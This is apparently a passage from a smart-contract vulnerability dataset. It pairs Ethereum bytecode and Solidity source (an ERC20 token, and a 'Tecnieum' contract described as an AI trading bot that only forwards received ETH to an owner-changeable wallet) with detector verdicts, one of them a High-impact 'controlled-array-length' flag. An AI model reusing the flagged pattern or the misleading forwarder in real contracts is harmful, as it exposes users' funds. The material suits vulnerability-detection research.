c2565b604051600160a060020a03909116815260200160405180910390f35b341561048957600080fd5b6101cd600435610dd1565b341561049f57600080fd5b610297600435610df0565b34156104b557600080fd5b61020d600435610e03565b34156104cb57600080fd5b6101f5600160a060020a03600435811690602435906044359060643516608435151560a43560c435610e82565b341561050357600080fd5b6101cd600435610f89565b341561051957600080fd5b6101f5600160a060020a0360043516610f97565b341561053857600080fd5b6101cd600435611041565b341561054e57600080fd5b610559600435611056565b60405195865260208601949094529115156040808601919091526060850191909152600160a060020a039182166080850152911660a083015260c0909101905180910390f35b34156105aa57600080fd5b6105b56004356110a2565b604051600160a060020a039092168252151560208201526040908101905180910390f35b34156105e457600080fd5b6101cd600160a060020a03600435166024356110cf565b341561060657600080fd5b6102d76004356110fd565b341561061c57600080fd5b61029761111c565b341561062f57600080fd5b6101f5600160a060020a0360043516611125565b341561064e57600080fd5b6101f560043560243560443561117c565b341561066a57600080fd5b610297600435611222565b6006545b90565b6000805433600160a060020a03908116911614806106b85750600160a060020a03331660009081526001602081905260409091205460ff161515145b15156106c357600080fd5b506000818152600360205260409020805415156106df57610790565b60045481541161079057805460048054600391600091600019810190811061070357fe5b6000918252602080832090910154835282019290925260400190205560048054600019810190811061073157fe5b9060005260206000209001546004600183600001540381548110151561075357fe5b6000918252602090912001556004805460001901906107729082611251565b50600082815260036020526040812081815560018101829055600201555b5050565b600090815260056020819052604090912080546001820154600283015460038401546004850154600686015495909601549396600160a060020a03938416969390921694909360ff909316929091565b600160a060020a031660009081526007602052604090205490565b60016020526000908152604090205460ff1681565b600560208190526000918252604090912080546001820154600283015460038401546004850154958501546006909501549395600160a060020a03938416959290931693909260ff16919087565b60036020526000908152604090208054600182015460029092015490919083565b6000805433600160a060020a03908116911614806108bf5750600160a060020a03331660009081526001602081905260409091205460ff161515145b15156108ca57600080fd5b506000818152600560205260409020805415156108e657610790565b60065481541161079057805460068054600591600091600019810190811061090a57fe5b6000918252602080832090910154835282019290925260400190205560068054600019810190811061093857fe5b9060005260206000209001546006600183600001540381548110151561095a57fe5b6000918252602090912001556006805460001901906109799082611251565b50506000908152600560208190526040822082815560018101805473ffffffffffffffffffffffffffffffffffffffff1990811690915560028201805490911690556003810183905560048101805460ff1916905590810182905560060155565b60009081526005602052604090206004015460ff1690565b600080600080600485815481101515610a0757fe5b6000918252602080832090910154808352600390915260409091206001810154600290910154919790965090945092505050565b60005433600160a060020a03908116911614610a5657600080fd5b6002805460ff1916911515919091179055565b600080600080600080600080600760008b600160a060020a0316600160a060020a0316815260200190815260200160002089815481101515610aa757fe5b600091825260208083209091015480835260059182905260409092206001810154600282015460038301546004840154600685015495850154969e50600160a060020a039384169d50919092169a5090985060ff16965090945090925090505092959891949750929550565b60005474010000000000000000000000000000000000000000900461ffff1681565b60005433600160a060020a0390811691161480610b705750600160a060020a03331660009081526001602081905260409091205460ff161515145b1515610b7b57600080fd5b600160a060020a0382166000908152600760205260409020805460018101610ba38382611251565b5060009182526020909120015550565b6000908152600360205260408120541190565b60045490565b60005433600160a060020a03908116911614610be757600080fd5b600160a060020a03811660009081526001602052604090205460ff161515610c7357600160a060020a03811660009081526001602081905260408220805460ff191682179055815461ffff7401000000000000000000000000000000000000000080830482169093011690910275ffff0000000000000000000000000000000000000000199091161790555b50565b60008054819033600160a060020a0390811691161480610cb45750600160a060020a03331660009081526001602081905260409091205460ff161515145b1515610cbf57600080fd5b5050600160a060020a03821660009081526007602052604081205b8054821015610d1457828183815481101515610cf257fe5b9060005260206000209001541415610d0957610d14565b600190910190610cda565b8054821015610d8457805481906000198101908110610d2f57fe5b9060005260206000209001548183815481101515610d4957fe5b600091825260209091200155805481906000198101908110610d6757fe5b60009182526020822001558054610d82826000198301611251565b505b50505050565b600160a060020a0382166000908152600760205260408120805483908110610dae57fe5b906000526020600020900154905092915050565b600054600160a060020a031681565b6004805482908110610ddf57fe5b600091825260209091200154905081565b6000908152600560205260408120541190565b600080600080600080600080600689815481101515610e1e57fe5b6000918252602080832091909101548083526005918290526040909220600181015460028201546003830154600484015460068501549490950154959f600160a060020a039384169f50929091169c509a5060ff9092169850965090945092505050565b6000805433600160a060020a0390811691161480610ebe5750600160a060020a03331660009081526001602081905260409091205460ff161515145b1515610ec957600080fd5b506000868152600560208190526040909120600181018054600160a060020a03808c1673ffffffffffffffffffffffffffffffffffffffff1992831617909255600283018054928916929091169190911790556003810187905560048101805486151560ff199091161790559081018390556006810182905580541515610f7f576006805460010190610f5c9082611251565b80825560068054899260001901908110610f7257fe5b6000918252602090912001555b5050505050505050565b6006805482908110610ddf57fe5b60005433600160a060020a03908116911614610fb257600080fd5b600160a060020a03811660009081526001602081905260409091205460ff1615151415610c7357600160a060020a03166000908152600160205260408120805460ff19169055805475ffff0000000000000000000000000000000000000000198116740100000000000000000000000000000000000000009182900461ffff9081166000190116909102179055565b60009081526003602052604090206001015490565b60009081526003602081815260408084206001908101546005938490529185209384015460048501549385015494909101549195909460ff9093169392600160a060020a039092169190565b60009081526005602052604090206001810154600490910154600160a060020a039091169160ff90911690565b6007602052816000526040600020818154811015156110ea57fe5b6000918252602090912001549150829050565b6000908152600360205260409020805460018201546002909201549092565b60025460ff1681565b60005433600160a060020a0390811691161461114057600080fd5b600160a060020a03811615610c735760008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff1990911617905550565b6000805433600160a060020a03908116911614806111b85750600160a060020a03331660009081526001602081905260409091205460ff161515145b15156111c357600080fd5b506000838152600360205260409020600181018390556002810182905580541515610d845760048054600101906111fa9082611251565b8082556004805486926000190190811061121057fe5b60009182526020909120015550505050565b6000818152600560205260408120548190118061124b5750600082815260036020526040812054115b92915050565b8154818355818115116112755760008381526020902061127591810190830161127a565b505050565b61067991905b808211156112945760008155600101611280565b50905600a165627a7a72305820bff0bcdd3f73c744023897ea0d5a4d5df8bacab4e2fc092351148939fb05af1e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
6,837
0x63a0a39e663e2a32f840ef955586ecd96fe3f8a3
/** *Submitted for verification at Etherscan.io on 2021-05-18 */ pragma solidity ^0.5.0; // eFear.io initial code with beta-staking pre-coding notes (staking NOT live, code will be re-writen before ETH 2.0 Update) // ---------------------------------------------------------------------------- // ERC20 Interface coding // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library coding // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract eFEARio is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "eFEARio"; symbol = "eFEAR"; decimals = 18; _totalSupply = 600000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; // ---------------------------------------------------------------------------- /* Pre-coding of Staking Rewards // ---------------------------------------------------------------------------- interface IStakingRewards { // Views function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); // Mutative function stake(uint256 amount) external; function withdraw(uint256 amount) external; function getReward() external; function exit() external; } contract RewardsDistributionRecipient is Owned { address public rewardsDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardsDistribution() { require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract"); _; } function setRewardsDistribution(address _rewardsDistribution) external onlyOwner { rewardsDistribution = _rewardsDistribution; } } contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } contract Pausable is Owned { uint public lastPauseTime; bool public paused; constructor() internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); // Paused will be false, and lastPauseTime will be 0 upon initialisation } /** * @notice Change the paused state of the contract * @dev Only the contract owner may call this. function setPaused(bool _paused) external onlyOwner { // Ensure we're actually changing the state before we do anything if (_paused == paused) { return; } // Set our paused state. paused = _paused; // If applicable, set the last pause time. if (paused) { lastPauseTime = now; } // Let everyone know that our pause state has changed. emit PauseChanged(paused); } event PauseChanged(bool isPaused); modifier notPaused { require(!paused, "This action cannot be performed while the contract is paused"); _; } } contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, Pausable { using SafeMath for uint256; using SafeERC20 for IERC20; /** @notice SafeERC20 implementation will be added later /* ========== STATE VARIABLES ========== IERC20 public rewardsToken; IERC20 public stakingToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration = 7 days; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== constructor( address _owner, address _rewardsDistribution, address _rewardsToken, address _stakingToken ) public Owned(_owner) { rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); rewardsDistribution = _rewardsDistribution; } /* ========== VIEWS ========== function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply) ); } function earned(address account) public view returns (uint256) { return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(rewardsDuration); } /* ========== MUTATIVE FUNCTIONS ========== function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { withdraw(_balances[msg.sender]); getReward(); } /* ========== RESTRICTED FUNCTIONS ========== function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = rewardsToken.balanceOf(address(this)); require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } // End rewards emission earlier function updatePeriodFinish(uint timestamp) external onlyOwner updateReward(address(0)) { periodFinish = timestamp; } // Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token"); IERC20(tokenAddress).safeTransfer(owner, tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner { require( block.timestamp > periodFinish, "Previous rewards period must be complete before changing the duration for the new period" ); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(rewardsDuration); } /* ========== MODIFIERS ========== modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== EVENTS ========== event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardsDurationUpdated(uint256 newDuration); event Recovered(address token, uint256 amount); */ } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610aae565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610ac1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610b10565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bca565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610d53565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610d77565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610e2f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae576101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000610869600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba65780601f10610b7b57610100808354040283529160200191610ba6565b820191906000526020600020905b815481529060010190602001808311610b8957829003601f168201915b505050505081565b6000828211151515610bbf57600080fd5b818303905092915050565b6000610c15600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d6357600080fd5b8183811515610d6e57fe5b04905092915050565b600081830290506000831480610d975750818382811515610d9457fe5b04145b1515610da257600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610e4557600080fd5b9291505056fea165627a7a723058209484074fd612b947a6d49bfe6225d92b46c4a50201a5b9592a3470fb683bca9b0029
{"success": true, "error": null, "results": {}}
6,838
0x93d46cb0c4980c93e227ee0e094187e9d57f49de
pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /* A smart contract BoT for Blockchain Investor powered with AI to trade only Ether against other Cryptocurrency */ contract Tecnieum is Context, Ownable{ using SafeMath for uint256; event PaymentProcessed(address indexed from, address indexed to, uint256 amount); uint256 _totalPaymentProcessed = 0; address payable _wallet = 0x77Ff115860b0e6D6A49F80D77064B8134a3D4bBa; constructor() public { } fallback() external payable { revert(); } receive() external payable { processPayment(); _totalPaymentProcessed = _totalPaymentProcessed.add(msg.value); emit PaymentProcessed(_msgSender(), _wallet, msg.value); } function processPayment() internal { _wallet.transfer(msg.value); } function totalPaymentProcessed() external view returns(uint256 amount){ return _totalPaymentProcessed; } function getWallet() external view returns(address wallet) { return _wallet; } function setWallet(address payable wallet) external onlyOwner { _wallet = wallet; } }
0x60806040526004361061004e5760003560e01c8063132996041461010b578063672d6386146101625780638da5cb5b1461018d578063deaa59df146101e4578063f2fde38b1461023557610106565b366101065761005b610286565b610070346001546102f190919063ffffffff16565b600181905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166100b7610379565b73ffffffffffffffffffffffffffffffffffffffff167f0538ab32a957d2b55d0ec70a4029e73fdf19f500832839b1d7bafcfbca2a5630346040518082815260200191505060405180910390a3005b600080fd5b34801561011757600080fd5b50610120610381565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561016e57600080fd5b506101776103ab565b6040518082815260200191505060405180910390f35b34801561019957600080fd5b506101a26103b5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f057600080fd5b506102336004803603602081101561020757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103de565b005b34801561024157600080fd5b506102846004803603602081101561025857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104eb565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156102ee573d6000803e3d6000fd5b50565b60008082840190508381101561036f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600154905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6103e6610379565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104a7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6104f3610379565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561063a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806106f96026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000